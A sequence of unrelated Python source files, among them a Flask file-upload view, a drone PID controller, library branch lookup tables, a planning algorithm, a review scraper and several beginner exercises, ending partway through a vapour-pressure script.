'''
Created on 21/07/2014

:author: alfred
'''
import os
import logging
from datetime import datetime
from flask import jsonify
from dirty_models.base import Unlocker
from mc_be.commons.extensions import AclExtension
from mc_be.blueprints.core.watcher.views import WatcherRestView
from mc_be.commons.decorators import set_doc
from mc_be.commons.decorators import set_class_doc
from mc_be.blueprints.core.upload.docs import UploadRestViewDocs
from mc_be.commons.utils import request
from mc_be.commons.views.views import StreamRequestView
from mc_be.blueprints.core.watcher.models import EventModel, WatcherModel
from mc_be.blueprints.core import WATCHER_NAMESPACE, WATCHER_ENTITY_UPLOAD
from mc_be.commons.exceptions import InvalidParameter
import hashlib
from mc_be.commons.errors import IE_HACK_QUERY_PARAM
from mc_be.helpers import str2bool
from flask.wrappers import Response
import json

acl_config = AclExtension()
logger = logging.getLogger('core.uploads')

@set_class_doc({'delete': (UploadRestViewDocs.delete_doc)})
class UploadRestView(WatcherRestView):

    list_label = 'uploads'
    item_label = 'upload'

    def dispatch_request(self, *args, **kwargs):
        meth = self.get_method(args, kwargs)

        return meth(*args, **kwargs)

    @set_doc(UploadRestViewDocs.post_doc)
    def post(self, data=None):
        model = self.service.create_upload()

        acl_config.filter_not_allowed_fields('read_field', model)

        return jsonify({self.item_label: model})

class UploadFileRestView(StreamRequestView):

    accumulate_data = 0

    def __init__(self, service, *args, **kwargs):
        super(UploadFileRestView, self).__init__(service, *args, **kwargs)

        self.event_data = {'hasFailures': False}
        self.hidden_data = {}

        self.accumulate_data = 0
        self.buffer_data = 0

        self.chunk_notify_limit = None

        self.entity_id = None

        self.default_event_data = {'namespace': WATCHER_NAMESPACE,
                                   'entityType': WATCHER_ENTITY_UPLOAD,
                                   'pushEventData': True,
                                   'eventData': self.event_data,
                                   'hiddenData': self.hidden_data,
                                   'forceFinish': False}

    def notify_chunk(self, data):
        self.accumulate_data += len(data)
        self.buffer_data += len(data)

        if len(data) > 0 and (self.chunk_notify_limit is None or
                              self.buffer_data >= self.chunk_notify_limit):
            logger.debug("Uploading file: sending event after {} bytes. Accumulated: {}".format(self.buffer_data,
                                                                                self.accumulate_data))
            event = self.create_event()
            with Unlocker(event):
                event.action = 'progress'
                event.event_data.dataReceived = self.accumulate_data

            self.service.publish_event(event)
            self.buffer_data = 0

    def create_event(self):
        event = EventModel(self.default_event_data)

        with Unlocker(event):
            event.entity_id = self.entity_id
            event.created = datetime.utcnow()

        return event

    @set_doc(UploadRestViewDocs.post_file_doc)
    def post(self, id):
        model = self._get_model(id, avoid_cache=True)
        acl_config.is_allowed(model, 'read')

        if model.status != WatcherModel.STATUS_ACTIVE:
            raise InvalidParameter('Upload watcher is not active')

        if not request.content_type.startswith('multipart/form-data'):
            raise InvalidParameter('Invalid content type. It must be a multipart/form-data')

        self.entity_id = model.entity_ids[0]

        n_events = 10  # We will send 10 events by default
        if request.content_length > 5242880:  # We will send 100 events if request is larger than 5mb
            n_events = 100

        chunk_size = int(request.content_length / n_events)
        logger.debug('Uploading file: chunk size {} for content length {} in {} events'.format(chunk_size,
                                                                                request.content_length,
                                                                                n_events))
        if chunk_size > 65536:  # Only limit if chunk is larger than 64k that is default chunk size in flask
            self.chunk_notify_limit = chunk_size

        self.event_data['dataLength'] = request.content_length

        import magic
        try:
            event = self.create_event()
            with Unlocker(event):
                event.action = 'finish'
                event.force_finish = True

            try:
                files_count = 0
                for file in request.files.values():
                    real_filename = os.path.basename(file.filename)
                    with Unlocker(event):
                        event.event_data.fileName = real_filename
                        filename = self.service.make_filename_from_model(model, real_filename)

                        event.hidden_data.fileName = filename
                        file.save(filename)

                        mime = magic.Magic(mime=True)
                        mimetype = mime.from_file(filename).decode('UTF-8')
                        event.event_data.mimetype = mimetype

                        event.event_data.filesize = os.path.getsize(filename)
                        event.event_data.dataReceived = self.accumulate_data
                    self.service.validate_file(filename)
                    files_count += 1
                    break  # we only want first file, others are ignored

                if files_count == 0:
                    raise InvalidParameter('Not file found')

            except Exception as ex:
                with Unlocker(event):
                    event.action = 'error'
                    event.event_data.hasFailures = True
                    event.event_data.error = str(ex)
                    event.event_data.dataReceived = self.accumulate_data
                logger.error("Error uploading file.")
                logger.exception(ex)
                try:
                    os.remove(filename)
                except:  # pragma: no cover
                    logger.info('Error removing file after error uploading. It does not matter.')

                raise ex
        finally:
            async_result = self.service.publish_event(event)

            try:
                async_result.get(timeout=30)
            except TimeoutError:  # pragma: no cover
                pass

        response_data = {"id": model.id, 'success': True}

        if str2bool(request.args.get(IE_HACK_QUERY_PARAM, False)):
            response_data['iehack'] = hashlib.md5('iehack: I hate Internet Explorer'.encode()).hexdigest() * 10
            return Response(json.dumps(response_data), mimetype='text/html')

        return jsonify(response_data)


from math import*
ang=eval(input("Digite o angulo:"))
k=int(input("Digite um numero:"))
i=1
a=0
x=0
sinal=1
while(a<k):
	x=x+(ang**i/factorial(i))*sinal
	sinal=sinal*-1
	i+=2
	a+=1
	print(round(x,10))


class Node:
    def __init__(self,data):
        self.data = data
        self.left = None
        self.right = None

def height(node):
    if(node is None):
        return 0
    return 1 + max(height(node.left),height(node.right))

def diameter(node):
    if(node is None):
        return 0
    l = height(node.left)
    r = height(node.right)

    ld = diameter(node.left)
    rd = diameter(node.right)

    return max(l+r+1,max(ld,rd))

root = Node(1)
root.left = Node(2)
root.right = Node(3)
root.left.left = Node(4)
root.left.right = Node(5)
print(diameter(root))


import qdf
from twisted.internet import defer

BUFFER_FULL = 1
BUFFER_FREE = 0

class Stream_Writer():
  """
  This class stores data into a database by managing a buffer for output.
  IO for the object is similar to python lists, and implementation of caching is
  hidden from the user.

  Buffer details:
    length: qdf.OPTIMAL_BATCH_SIZE

  """
  def __init__(self, quasar, name):
    """
    initializes stream with an empty buffer

    params --
      QuasarDistillate quasar:
        object with stream aquisition and storage methods
      str name:
        the name of the stream to write to
    """
    self.quasar = quasar
    self.name = name

    self.buf = []

  def append(self, point):
    """
    Saves record 'point' into the buffer

    When buffer is full, it is flushed to the stream
    """
    self.buf.append(point)
    if len(self.buf) >= qdf.OPTIMAL_BATCH_SIZE:
      return BUFFER_FULL
    else:
      return BUFFER_FREE

  @defer.inlineCallbacks
  def flush(self):
    """
    Flushes data to store from buffer
    """
    temp = self.buf[:]
    self.buf = []
    yield self.quasar.stream_insert_multiple(self.name, temp)


from mmxai.text_removal.smart_text_removal import SmartTextRemover

def main(model_path=None, show_img=True):
    if not model_path:
        model_path = "mmxai/text_removal/frozen_east_text_detection.pb"

    remover = SmartTextRemover(model_path)

    img = remover.inpaint(
        "https://www.iqmetrix.com/hubfs/Meme%2021.jpg")

    if show_img:
        img.show()

if __name__ == "__main__":
    main()


# a ~ b 사이의 연속하는 정수의 합 구하기.

def sumTwoNums(a,b):
    result = 0
    if a > b:
        a, b = b, a  # 두 값의 교환

    for i in range(a,b+1):
        if i < b:
            print(f'{i} + ', end='')
        result += i

    print(f'{b} = ', end='')
    print(result)
    return result

print(sumTwoNums(8,3))


import math
from threading import Thread
import socket

class PID:
    '''
        Maintains the stability of the drone using a PID control system scheme.
        The drone is kept within the plane specified by user input 'ref' by actuating
        based on imu reading and previous state.
    '''
    def __init__(self):
        self.beta = 0.972 #rad
        self.k_p = 0.1
        self.k_i = 0.1
        self.k_d = 0.4
        self.max_i = 100000
        self.min_i = -self.max_i
        self.sum_0 = 0
        self.sum_1 = 0
        self.last_angle = [0.0,0.0]

    def updatePID(self, angle, ref):
        '''
            Interface to stickSteering.
            Inputs: angle: (imu roll, imu pitch), ref: (user roll, user pitch)
            Outputs: the actuation value for the positive motor on the motor cross1 and cross2
        '''
        angle = self.convert_cart2cross((angle[0], angle[1]))
        ref = self.convert_cart2cross((ref[0], ref[1]))
        error = (ref[0] - angle[0], ref[1]-angle[1])
        pval = self.P(error)
        ival = self.I(error)
        dval = self.D(angle)
        cross1 = pval[0] + ival[0] + dval[0]
        cross2 = pval[1] + ival[1] + dval[1]

        if cross1 > 1.0:
            cross1 = 1.0
        elif cross1 < -1.0:
            cross1 = -1.0
        else:
            pass
        if cross2 > 1.0:
            cross2 = 1.0
        elif cross2 < -1.0:
            cross2 = -1.0
        else:
            pass
        return (round(cross1,1), round(cross2,1))

    def P(self, error):
        '''
            Applies the proportional gain to the signal.
        '''
        return (error[0]*self.k_p, error[1]*self.k_p)

    def I(self, error):
        '''
            Computes the integral and applies the integral gain
            to the signal.
        '''
        self.sum_0 += error[0]
        self.sum_1 += error[1]

        if self.sum_0 > self.max_i:
            self.sum_0 = self.max_i
        elif self.sum_0 < self.min_i:
            self.sum_0 = self.min_i

        if self.sum_1 > self.max_i:
            self.sum_1 = self.max_i
        elif self.sum_1 < self.min_i:
            self.sum_1 = self.min_i

        return (self.sum_0 * self.k_i, self.sum_1 * self.k_i)

    def D(self, angle):
        '''
            Takes the derivative and applies the derivative gain to the
            signal.
        '''
        dif = (angle[0] - self.last_angle[0], angle[1] - self.last_angle[1])
        self.last_angle[0] = angle[0]
        self.last_angle[1] = angle[1]

        return (dif[0]*self.k_d, dif[1]*self.k_d)

    def convert_cart2cross(self, val):
        '''
            Converts the pitch and roll angles given in x, y basis to the
            motor cross basis specified by angle beta.
        '''
        pitch = val[0]
        roll = val[1]
        M1 = roll*math.cos(self.beta) + pitch*math.sin(self.beta)
        M2 = roll*math.cos(self.beta) - pitch*math.sin(self.beta)
        return (M1, M2)


# define here values for tables that are
# populated on initiation of local DB

LIBRARY = [
    (1, 'BPL'),
    (2, 'NYPL')
]

AUDN = [
    ('j', 'juvenile'),
    ('y', 'young adult'),
    ('a', 'adult')
]

LANG = [
    ('ara', 'Arabic'),
    ('ben', 'Bengali'),
    ('chi', 'Chinese'),
    ('eng', 'English'),
    ('fre', 'French'),
    ('ger', 'German'),
    ('heb', 'Hebrew'),
    ('hin', 'Hindi'),
    ('hun', 'Hungarian'),
    ('ita', 'Italian'),
    ('jpn', 'Japanese'),
    ('kor', 'Korean'),
    ('pan', 'Panjabi'),
    ('pol', 'Polish'),
    ('por', 'Portuguese'),
    ('rus', 'Russian'),
    ('san', 'Sanskrit'),
    ('spa', 'Spanish'),
    ('ukr', 'Ukrainian'),
    ('und', 'Undetermined'),
    ('urd', 'Urdu'),
    ('yid', 'Yiddish'),
    ('zxx', 'No linguistic content'),
    ('hat', 'Haitian French Creole'),
    ('alb', 'Albanian')
]

BRANCH = [
    (1, '02', "Central Juv Children's Room"),
    (1, '03', "Central YA Young Teens"),
    (1, '04', "Central BKLYN Collection"),
    (1, '11', "Central AMMS Art & Music"),
    (1, '12', "Central Pop Audiovisual (Multimedia)"),
    (1, '13', "Central HBR (Hist/Biog/Rel)"),
    (1, '14', "Central Literature & Languages"),
    (1, '16', "Central SST"),
    (1, '21', "Arlington"),
    (1, '22', "Bedford"),
    (1, '23', "Business Library"),
    (1, '24', "Brighton Beach"),
    (1, '25', "Borough Park"),
    (1, '26', "Stone Avenue"),
    (1, '27', "Brownsville"),
    (1, '28', "Bay Ridge"),
    (1, '29', "Bushwick"),
    (1, '30', "Crown Heights"),
    (1, '31', "Carroll Gardens"),
    (1, '32', "Coney Island"),
    (1, '33', "Clarendon"),
    (1, '34', "Canarsie"),
    (1, '35', "DeKalb"),
    (1, '36', "East Flatbush"),
    (1, '37', "Eastern Parkway"),
    (1, '38', "Flatbush"),
    (1, '39', "Flatlands"),
    (1, '40', "Fort Hamilton"),
    (1, '41', "Greenpoint"),
    (1, '42', "Highlawn"),
    (1, '43', "Kensington"),
    (1, '44', "Kings Bay"),
    (1, '45', "Kings Highway"),
    (1, '46', "Leonard"),
    (1, '47', "Macon"),
    (1, '48', "Midwood"),
    (1, '49', "Mapleton"),
    (1, '50', "Brooklyn Heights"),
    (1, '51', "New Utrecht"),
    (1, '52', "New Lots"),
    (1, '53', "Park Slope"),
    (1, '54', "Rugby"),
    (1, '55', "Sunset Park"),
    (1, '56', "Sheepshead Bay"),
    (1, '57', "Saratoga"),
    (1, '59', "Marcy"),
    (1, '60', "Williamsburgh"),
    (1, '61', "Washington Irving"),
    (1, '62', "Walt Whitman"),
    (1, '63', "Kidsmobile"),
    (1, '64', "BiblioBus"),
    (1, '65', "Cypress Hills"),
    (1, '66', "Gerritsen Beach"),
    (1, '67', "McKinley Park"),
    (1, '68', "Mill Basin"),
    (1, '69', "Pacific"),
    (1, '70', "Red Hook"),
    (1, '71', "Ulmer Park"),
    (1, '72', "Bookmobile"),
    (1, '74', "Gravesend"),
    (1, '76', "Homecrest"),
    (1, '77', "Windsor Terrace"),
    (1, '78', "Paerdegat"),
    (1, '79', "Brower Park"),
    (1, '80', "Ryder"),
    (1, '81', "Jamaica Bay"),
    (1, '82', "Dyker"),
    (1, '83', "Clinton Hill"),
    (1, '85', "Spring Creek"),
    (1, '87', "Cortelyou"),
    (1, '89', "BookOps"),
    (1, '90', "Service to the Aging SAGE/SOA"),
    (1, '94', "Central Literacy"),
    (2, 'ag', "Aguilar"),
    (2, 'al', "Allerton"),
    (2, 'ba', "Baychester"),
    (2, 'bc', "Bronx Library Center"),
    (2, 'be', "Belmont"),
    (2, 'bl', "Bloomingdale"),
    (2, 'br', "George Bruce"),
    (2, 'bt', "Battery Park"),
    (2, 'ca', "Cathedral, T. C. Cooke"),
    (2, 'ch', "Chatham Square"),
    (2, 'ci', "City Island"),
    (2, 'cl', "Morningside Heights"),
    (2, 'cp', "Clason's Point"),
    (2, 'cs', "Columbus"),
    (2, 'ct', "Castle Hill"),
    (2, 'dh', "Dongan Hills"),
    (2, 'dy', "Spuyten Duyvil"),
    (2, 'ea', "Eastchester"),
    (2, 'ep', "Epiphany"),
    (2, 'ew', "Edenwald"),
    (2, 'fe', "58th Street"),
    (2, 'fw', "Fort Washington"),
    (2, 'fx', "Francis Martin"),
    (2, 'gc', "Grand Central"),
    (2, 'gd', "Grand Concourse"),
    (2, 'gk', "Great Kills"),
    (2, 'hb', "High Bridge"),
    (2, 'hd', "125th Street"),
    (2, 'hf', "Hamilton Fish Park"),
    (2, 'hg', "Hamilton Grange"),
    (2, 'hk', "Huguenot Park"),
    (2, 'hl', "Harlem"),
    (2, 'hp', "Hudson Park"),
    (2, 'hs', "Hunt's Point"),
    (2, 'ht', "Countee Cullen"),
    (2, 'hu', "115th Street (temp)"),
    (2, 'in', "Inwood"),
    (2, 'jm', "Jefferson Market"),
    (2, 'jp', "Jerome Park"),
    (2, 'kb', "Kingsbridge"),
    (2, 'kp', "Kips Bay"),
    (2, 'lb', "Andrew Heiskell"),
    (2, 'lm', "New Amsterdam"),
    (2, 'ma', "S.A. Schwarzman Bldg."),
    (2, 'mb', "Macomb's Bridge"),
    (2, 'me', "Melrose"),
    (2, 'mh', "Mott Haven"),
    (2, 'ml', "Mulberry Street"),
    (2, 'mm', "Mid-Manhattan"),
    (2, 'mn', "Mariner's Harbor"),
    (2, 'mo', "Mosholu"),
    (2, 'mp', "Morris Park"),
    (2, 'mr', "Morrisania"),
    (2, 'mu', "Muhlenberg"),
    (2, 'my', "Performing Arts"),
    (2, 'nb', "West New Brighton"),
    (2, 'nd', "New Dorp"),
    (2, 'ns', "96th Street"),
    (2, 'ot', "Ottendorfer"),
    (2, 'pk', "Parkchester"),
    (2, 'pm', "Pelham Bay"),
    (2, 'pr', "Port Richmond"),
    (2, 'rd', "Riverdale"),
    (2, 'ri', "Roosevelt Island"),
    (2, 'rs', "Riverside"),
    (2, 'rt', "Richmondtown"),
    (2, 'sa', "St. Agnes"),
    (2, 'sb', "South Beach"),
    (2, 'sc', "Schomburg"),
    (2, 'sd', "Sedgwick"),
    (2, 'se', "Seward Park"),
    (2, 'sg', "St. George Library Center"),
    (2, 'sl', "Science, Industry & Business"),
    (2, 'ss', "67th Street"),
    (2, 'st', "Stapleton"),
    (2, 'sv', "Soundview"),
    (2, 'tg', "Throg's Neck"),
    (2, 'th', "Todt Hill-Westerleigh"),
    (2, 'tm', "Tremont"),
    (2, 'ts', "Tompkins Square"),
    (2, 'tv', "Tottenville"),
    (2, 'vc', "Van Cortlandt"),
    (2, 'vn', "Van Nest"),
    (2, 'wb', "Webster"),
    (2, 'wf', "West Farms"),
    (2, 'wh', "Washington Heights"),
    (2, 'wk', "Wakefield"),
    (2, 'wl', "Woodlawn Heights"),
    (2, 'wo', "Woodstock"),
    (2, 'wt', "Westchester Square"),
    (2, 'yv', "Yorkville"),
    (2, 'ft', "53rd Street"),
]

MATERIAL = [
    ('print', (1, 'a', 'b'), (2, 'a', 'b')),
    ('dvd', (1, 'h', 'a'), (2, 'v', 'v')),
    ('audiobook', (1, 'i', 'i'), (2, 'u', 'i')),
    ('music CD', (1, 'j', 'z'), (2, 'y', 'w')),
    ('graphic novel', (1, 'a', 'g'), (2, 'a', 'b')),
    ('board book', (1, 'a', 'd'), (2, 'a', 'b'))
]

# nypl codes are fictional
SELECTOR = [
    ('Maria Fung', (1, 'f'), (2, 'x')),
    ('Libbhy Romero', (1, 'r'), (2, 'y')),
    ('Alexandra Gomez', (1, 'g'), (2, 'z'))
]


import numpy as np

class Planner(object):
    def __init__(self, envs, tau, num_samples_per_it=2000, frac_best=0.05,
                 num_iterations=10, init_noise=0.9, beta=0.7, later_noise=0.1, later_noise_frac=0.3,
                 forget_init_past_ac_frac=0.5, sum_rewards=True, initialise_frac_with_prev_best=1.0,
                 name=None, tau_scaler=1.0, add_reverse_tau_scaler=False):
        assert np.abs(int(num_samples_per_it*frac_best) - num_samples_per_it*frac_best) < 1e-10
        assert num_samples_per_it % envs.num_envs == 0
        self.envs = envs
        self.num_envs = envs.num_envs
        self.tau = tau
        self.ac_dim = self.envs.ac_dim
        self.num_samples_per_it = num_samples_per_it
        self.frac_best = frac_best
        self.num_iterations = num_iterations
        self.init_noise = init_noise
        self.forget_init_past_ac_frac = forget_init_past_ac_frac
        self.beta = beta
        self.sum_rewards = sum_rewards
        self.initialise_frac_with_prev_best = initialise_frac_with_prev_best
        self.prev_best_ac_mean = None
        self.reward_scaler = (tau_scaler)**(np.arange(tau)+1)
        if add_reverse_tau_scaler:
            self.reward_scaler += np.flip(self.reward_scaler)
        self.name = name
        if isinstance(later_noise, float):
            self.later_noise = later_noise*np.ones((num_iterations-1,))
        else:
            assert len(later_noise) == num_iterations-1
            self.later_noise = later_noise
        if isinstance(later_noise_frac, float):
            self.later_noise_frac = later_noise_frac*np.ones((num_iterations-1,))
        else:
            assert len(later_noise_frac) == num_iterations-1
            self.later_noise_frac = later_noise_frac
        self.prev_action = np.zeros((self.ac_dim,))

    def plan(self, env_states):
        best_ac_traj = None
        best_ac_means = None
        best_reward = -np.inf
        curr_action_means = np.clip(self.init_noise*np.random.randn(self.num_samples_per_it, self.tau, self.ac_dim), -1.0, 1.0)
        if self.prev_best_ac_mean is not None:
            num_prev = int(self.initialise_frac_with_prev_best*curr_action_means.shape[0])
            curr_action_means[:num_prev, :self.tau-1, :] = self.prev_best_ac_mean[np.newaxis, :self.tau-1, :]
            shape = curr_action_means[:num_prev, :self.tau-1, :].shape
            curr_action_means[:num_prev, :self.tau-1, :] += (np.random.rand(*shape) < self.later_noise_frac[0]).astype(int)*self.later_noise[0]*np.random.randn(*shape)
            curr_action_means[:num_prev, :self.tau-1, :] = np.clip(curr_action_means[:num_prev, :self.tau-1, :], -1.0, 1.0)
        else:
            num_prev = 0

        num_other = self.num_samples_per_it - num_prev
        num_prev_best = int(num_prev*self.frac_best)
        num_best = int(self.frac_best * self.num_samples_per_it)
        num_other_best = num_best - num_prev_best

        num_copies = self.num_samples_per_it // num_best

        past_actions = np.tile(self.prev_action, (self.num_samples_per_it,1))
        forget_inds = np.where(np.random.rand(self.num_samples_per_it) < self.forget_init_past_ac_frac)[0]
        past_actions[forget_inds, :] = 0.0 #allow for new actions to be tried without constraining yourself to be following the previous action

        best_rewards_it = []

        for it in range(self.num_iterations):
            curr_rewards = np.zeros((self.num_samples_per_it,))
            curr_states = np.zeros((self.num_samples_per_it, self.tau, self.envs.state_dim))
            forget_inds = np.where(np.sum(np.abs(past_actions), axis=-1) < 1e-8)[0]
            all_actions = np.zeros((self.num_samples_per_it, self.tau, self.ac_dim))
            for i in range(self.tau):
                if i==0:
                    all_actions[:, i, :] = self.beta*(curr_action_means[:, i, :]) + (1-self.beta)*past_actions
                    all_actions[forget_inds, i, :] = curr_action_means[forget_inds, i, :]
                else:
                    all_actions[:, i, :] = self.beta*(curr_action_means[:, i, :]) + (1-self.beta)*all_actions[:, i-1, :]
            all_actions = np.clip(all_actions, -1.0, 1.0)

            for n in range(0, self.num_samples_per_it, self.num_envs):
                inds = np.arange(n, n+self.num_envs)
                actions = all_actions[inds, ...]
                rewards = np.zeros((self.num_envs,))
                self.envs.set_states(env_states)
                for j in range(self.tau):
                    obs, rews, _, infos = self.envs.step(actions[:, j, :])
                    curr_states[inds, j, :] = obs
                    if self.sum_rewards:
                        rewards += rews*self.reward_scaler[j]
                        try:
                            extra_rew = 1.0 * np.array([info["is_success"] for info in infos]) * self.reward_scaler[self.tau-1-j]
                        except:
                            extra_rew = np.zeros_like(rewards)
                        rewards += extra_rew
                    else:
                        if j == (self.tau - 1):
                            rewards = rews
                curr_rewards[inds] = rewards.copy()

            inds_prev = np.argsort(-curr_rewards[:num_prev])
            if len(inds_prev) > 0:
                if curr_rewards[inds_prev[0]] > best_reward:
                    best_reward = curr_rewards[inds_prev[0]].copy()
                    best_ac_traj = all_actions[inds_prev[0], :, :].copy()
                    best_ac_means = curr_action_means[inds_prev[0], :, :].copy()

                elite_inds_prev = inds_prev[:num_prev_best]

            inds_other = np.argsort(-curr_rewards[num_prev:])
            if len(inds_other) > 0:
                best_i = num_prev + inds_other[0]
                if curr_rewards[best_i] > best_reward:
                    best_reward = curr_rewards[best_i].copy()
                    best_ac_traj = all_actions[best_i, :, :].copy()
                    best_ac_means = curr_action_means[best_i, :, :].copy()

                elite_inds_other = inds_other[:num_other_best] + num_prev

            best_rewards_it.append(best_reward.copy())

            if it < self.num_iterations - 1:
                if len(inds_prev) > 0:
                    elite_ac_means_prev = curr_action_means[elite_inds_prev, ...]
                    past_actions_prev = past_actions[elite_inds_prev, :]
                    elite_ac_means_prev = np.tile(elite_ac_means_prev, (num_copies, 1, 1))[:num_prev, ...]
                    past_actions_prev = np.tile(past_actions_prev, (num_copies, 1))[:num_prev, :]
                    noise = (np.random.rand(*elite_ac_means_prev.shape) < self.later_noise_frac[it]).astype(int) * \
                            self.later_noise[it] * np.random.randn(*elite_ac_means_prev.shape)
                    curr_action_means[:num_prev, ...] = np.clip(elite_ac_means_prev+noise, -1.0, 1.0)
                    past_actions[:num_prev, :] = past_actions_prev.copy()

                if len(inds_other) > 0:
                    elite_ac_means_other = curr_action_means[elite_inds_other, ...]
                    past_actions_other = past_actions[elite_inds_other, :]
                    elite_ac_means_other = np.tile(elite_ac_means_other, (num_copies, 1, 1))[:num_other, ...]
                    past_actions_other = np.tile(past_actions_other, (num_copies, 1))[:num_other, :]
                    noise = (np.random.rand(*elite_ac_means_other.shape) < self.later_noise_frac[it]).astype(int) * \
                            self.later_noise[it] * np.random.randn(*elite_ac_means_other.shape)
                    curr_action_means[num_prev:, ...] = np.clip(elite_ac_means_other+noise, -1.0, 1.0)
                    past_actions[num_prev:, :] = past_actions_other.copy()

        return best_reward, best_ac_traj, best_ac_means, best_rewards_it, (np.mean(curr_rewards), np.std(curr_rewards))


#create the list of schools we want to study
schools = {
    'ironhack': 10828,
    'app-academy': 10525,
    'springboard': 11035,
    'le-wagon': 10868,
    'ubiqum-code-academy': 11111,
    'udacity': 11118,
}

import re
import pandas as pd
from pandas.io.json import json_normalize
import requests

def get_comments_school(school):
    #create a regex expressionn that will search for the html tags
    TAG_RE = re.compile(r'<[^>]+>')
    # defines url to make api call to data -> dynamic with school if you want to scrape competition
    url = "https://www.switchup.org/chimera/v1/school-review-list?mainTemplate=school-review-list&path=%2Fbootcamps%2F" + school + "&isDataTarget=false&page=3&perPage=10000&simpleHtml=true&truncationLength=250"
    # makes get request and converts answer to json
    # url defines the page of all the information, request is made, and information is returned to data variable
    data = requests.get(url).json()
    # converts json to dataframe
    reviews = pd.DataFrame(data['content']['reviews'])

    # aux function to apply regex and remove tags
    def remove_tags(x):
        return TAG_RE.sub('', x)
    #create a column in reviews "review_body" that will be populated with another columns created 'body' that will be remove all the html tags
    reviews['review_body'] = reviews['body'].apply(remove_tags)
    # create a column 'school' with the school
    reviews['school'] = school
    #return the table with all the reviews of a defined school
    return reviews

#list comprehension
comments=[get_comments_school(school) for school in schools.keys()]

comments = pd.concat(comments)

from pandas.io.json import json_normalize

def get_school_info(school, school_id):
    #create the URL for each school
    url = 'https://www.switchup.org/chimera/v1/bootcamp-data?mainTemplate=bootcamp-data%2Fdescription&path=%2Fbootcamps%2F' + str(
        school) + '&isDataTarget=false&bootcampId=' + str(
        school_id) + '&logoTag=logo&truncationLength=250&readMoreOmission=...&readMoreText=Read%20More&readLessText=Read%20Less'

    #create a json fil
    data = requests.get(url).json()

    data.keys()

    courses = data['content']['courses']
    courses_df = pd.DataFrame(courses, columns=['courses'])

    locations = data['content']['locations']
    locations_df = json_normalize(locations)

    badges_df = pd.DataFrame(data['content']['meritBadges'])

    website = data['content']['webaddr']
    description = data['content']['description']
    logoUrl = data['content']['logoUrl']
    school_df = pd.DataFrame([website, description, logoUrl]).T
    school_df.columns = ['website', 'description', 'LogoUrl']

    locations_df['school'] = school
    courses_df['school'] = school
    badges_df['school'] = school
    school_df['school'] = school

    # how could you write a similar block of code to the above in order to record the school ID?

    locations_df['school_id'] = school_id
    courses_df['school_id'] = school_id
    badges_df['school_id'] = school_id
    school_df['school_id'] = school_id

    return locations_df, courses_df, badges_df, school_df

locations_list = []
courses_list = []
badges_list = []
schools_list = []

for school, id in schools.items():
    print(school)
    a, b, c, d = get_school_info(school, id)

    locations_list.append(a)
    courses_list.append(b)
    badges_list.append(c)
    schools_list.append(d)

locations = pd.concat(locations_list)
locations

courses = pd.concat(courses_list)
courses.head(10)

badges = pd.concat(badges_list)
badges.head()

schools = pd.concat(schools_list)
schools.head()

print(schools.head())


income = float(input("Jaki jest miesięczny przychód Twojej firmy? "))
number_of_employees = int(input("Ilu pracowników zatrudniasz? "))

# if income < 15500 or number_of_employees >= 3:
#     print("Możesz otrzymać dotacje")
# else:
#     print("Niestety nie otrzymasz dotacji")

# Operatory and i or można łączyć
if income < 15500 or (number_of_employees >= 3 and income < 30000):
    print("Możesz otrzymać dotacje")
else:
    print("Niestety nie otrzymasz dotacji")


import numpy as np
import random
from scipy.spatial.distance import cdist
import matplotlib.pyplot as plt
np.random.seed(12)

def init_grid(h,w):
    k = 0
    grid = np.zeros((h*w,2))
    for i in range(h):
        for j in range(w):
            grid[k,:] = [i,j]
            k += 1
    return grid

def init_weights(h,w,n):  # m-number of neurons, n-dimension of feature
    weights = np.random.rand(h*w,n)
    return weights

# find min dist and return winer
def winnerIndex(x,y):
    a = np.array(x).reshape(1,y.shape[1])
    d = cdist(a,y,metric='euclidean')
    idx = np.argmin(d)
    return idx

def distEclud(x, weights):
    dist = []
    for w in weights:
        d = np.linalg.norm(x-w)
        dist.append(d)
    return np.array(dist)

def adjustWeight(w,x,iter):
    time_ew = iter /np.log(sigma_init)

    for i in range(iteration):
        for j in range(x.shape[0]):
            # winner index
            idx = winnerIndex(x[j],w)
            a = np.array(grid[idx]).reshape(1,grid.shape[1])
            d = cdist(a,grid,metric='euclidean')

            # index2 = (dist2 ; 1).nonzero()[0]
            # update learning rate
            LR = learn_rate*np.exp(-(i+1)/iter)
            # update effective width
            sigma = sigma_init*np.exp(-(i+1)/time_ew)

            # time varying neibourhood func
            h1 = np.exp(-(d**2)/(2*sigma**2)).reshape(25,1)
            alpha = LR*h1
            # update weights
            w = (1-alpha)*w + alpha*x[j]
    return w

w = 5
h = 5
m = w*h
n = 2
learn_rate = 0.1
iteration = 100
sigma_init = np.sqrt(w**2+h**2)/2
grid = init_grid(h,w)
weights = init_weights(h,w,n)

trainX = -1 + 2*np.random.random((500,2))
w = adjustWeight(weights,trainX,iteration)

def plot_weights(weights, h=5, w=5, size=(6,6)):
    x_axis = weights[:,0].reshape(h, w)
    y_axis = weights[:,1].reshape(h, w)
    plt.figure(figsize=size)
    plt.title('Training Points and Weights')
    plt.scatter(trainX[:,0],trainX[:,1],c='blue',label = 'Samples')
    plt.scatter(weights[:,0],weights[:,1],marker = 'x',c='red',label = 'Weights')
    plt.legend(loc ='upper right')
    for i in range(h):
        plt.plot(x_axis[i], y_axis[i],c='red')
        plt.plot(x_axis.T[i], y_axis.T[i],c='red')
    plt.show()

plot_weights(w,5,5,size=(6,6))


import json, urllib.request

# http://py4e-data.dr-chuck.net/comments_42.json (Sum=2553)
# http://py4e-data.dr-chuck.net/comments_10013.json (Sum =2457)

web = input("Enter url:")
url = urllib.request.urlopen(web)
data = url.read().decode()

info = json.loads(data)
info2 = info["comments"]
print(info2)
count = len(info2)
total = 0
i = 0
while i < count:
    total = total + info2[i]["count"]
    i += 1

print("Count:",count)
print("Sum:",total)


from django import template

register = template.Library()

@register.filter(name='format_phone')
def format_phone(value):
	try:
	  phone = '%s-%s-%s' %(value[0:3],value[3:6],value[6:10])
	except TypeError:
	  phone="Do Not Have Phone"
	return phone


# -*- coding: utf-8 -*-
"""
Created on Thu Dec 27 18:42:55 2018

@author: Jheison Gutierrez
"""
#### Este programa grafica la (presion y/o temperatura) vs la composicion(liquida o vapor) para sistemas bicomponentes.

import math as mt
import matplotlib.pyplot as pt
import numpy as np

class presion_vapor():

    def variables(self):
        self.T=float(input("ingrese la temperatura del sistema en °C :"))
        self.A1=14.2724#float(input("ingrese la constante A de Antoine para la sustancia 1(mas volatil) :"))
        self.B1=2945.47#float(input("ingrese la constante B de Antoine para la sustancia 1(mas volatil) :"))
        self.C1=224#float(input("ingrese la constante C de Antoine para la sustancia 1(mas volatil) :"))
